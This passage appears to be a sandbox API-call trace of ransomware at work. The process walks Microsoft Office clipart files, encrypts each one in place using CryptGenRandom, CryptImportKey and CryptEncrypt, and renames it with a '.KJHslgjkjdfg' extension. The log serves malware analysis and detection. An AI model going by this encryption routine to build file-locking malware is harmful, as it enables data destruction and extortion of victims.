ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0196.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.558] GetProcessHeap () returned 0x2ef0000 [0196.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.558] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.558] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.558] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.559] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.559] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.559] GetProcessHeap () returned 0x2ef0000 [0196.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.559] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.559] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.559] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.560] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.560] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.560] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.560] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.560] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.560] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.560] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4f4, lpOverlapped=0x0) returned 1 [0196.560] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x500, dwBufLen=0x500 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x500) returned 1 [0196.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.560] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x500, lpOverlapped=0x0) returned 1 [0196.560] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.560] SetEndOfFile (hFile=0x130) returned 1 [0196.563] GetProcessHeap () returned 0x2ef0000 [0196.563] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.563] GetProcessHeap () returned 0x2ef0000 [0196.563] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.563] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.kjhslgjkjdfg")) returned 1 [0196.564] CloseHandle (hObject=0x130) returned 1 [0196.564] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0196.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.565] GetProcessHeap () returned 0x2ef0000 [0196.565] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.565] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.565] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.566] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.566] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.566] GetProcessHeap () returned 0x2ef0000 [0196.566] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.566] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.566] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.566] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.566] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.566] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.566] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.567] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.567] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.567] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.567] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.567] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.567] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1388, lpOverlapped=0x0) returned 1 [0196.567] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390, dwBufLen=0x1390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390) returned 1 [0196.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.568] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1390, lpOverlapped=0x0) returned 1 [0196.568] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.568] SetEndOfFile (hFile=0x130) returned 1 [0196.570] GetProcessHeap () returned 0x2ef0000 [0196.570] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.570] GetProcessHeap () returned 0x2ef0000 [0196.570] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.570] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.kjhslgjkjdfg")) returned 1 [0196.571] CloseHandle (hObject=0x130) returned 1 [0196.571] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0196.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.572] GetProcessHeap () returned 0x2ef0000 [0196.572] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.572] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.572] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.574] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.574] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.574] GetProcessHeap () returned 0x2ef0000 [0196.574] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.574] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.574] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.574] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.574] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.574] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.574] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.574] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.574] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.574] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.574] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1cac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1cac, lpOverlapped=0x0) returned 1 [0196.575] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1cb0) returned 1 [0196.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.575] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1cb0, lpOverlapped=0x0) returned 1 [0196.575] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.575] SetEndOfFile (hFile=0x130) returned 1 [0196.578] GetProcessHeap () returned 0x2ef0000 [0196.578] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.578] GetProcessHeap () returned 0x2ef0000 [0196.578] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.kjhslgjkjdfg")) returned 1 [0196.579] CloseHandle (hObject=0x130) returned 1 [0196.579] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0196.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.579] GetProcessHeap () returned 0x2ef0000 [0196.579] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.579] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.579] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.579] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0196.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.581] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.581] GetProcessHeap () returned 0x2ef0000 [0196.581] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.581] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.581] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.582] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.582] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3dbe, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3dbe, lpOverlapped=0x0) returned 1 [0196.582] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3dc0, dwBufLen=0x3dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3dc0) returned 1 [0196.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.583] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3dc0, lpOverlapped=0x0) returned 1 [0196.583] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.583] SetEndOfFile (hFile=0x130) returned 1 [0196.585] GetProcessHeap () returned 0x2ef0000 [0196.585] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.585] GetProcessHeap () returned 0x2ef0000 [0196.585] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.kjhslgjkjdfg")) returned 1 [0196.586] CloseHandle (hObject=0x130) returned 1 [0196.586] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0196.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.587] GetProcessHeap () returned 0x2ef0000 [0196.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.587] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 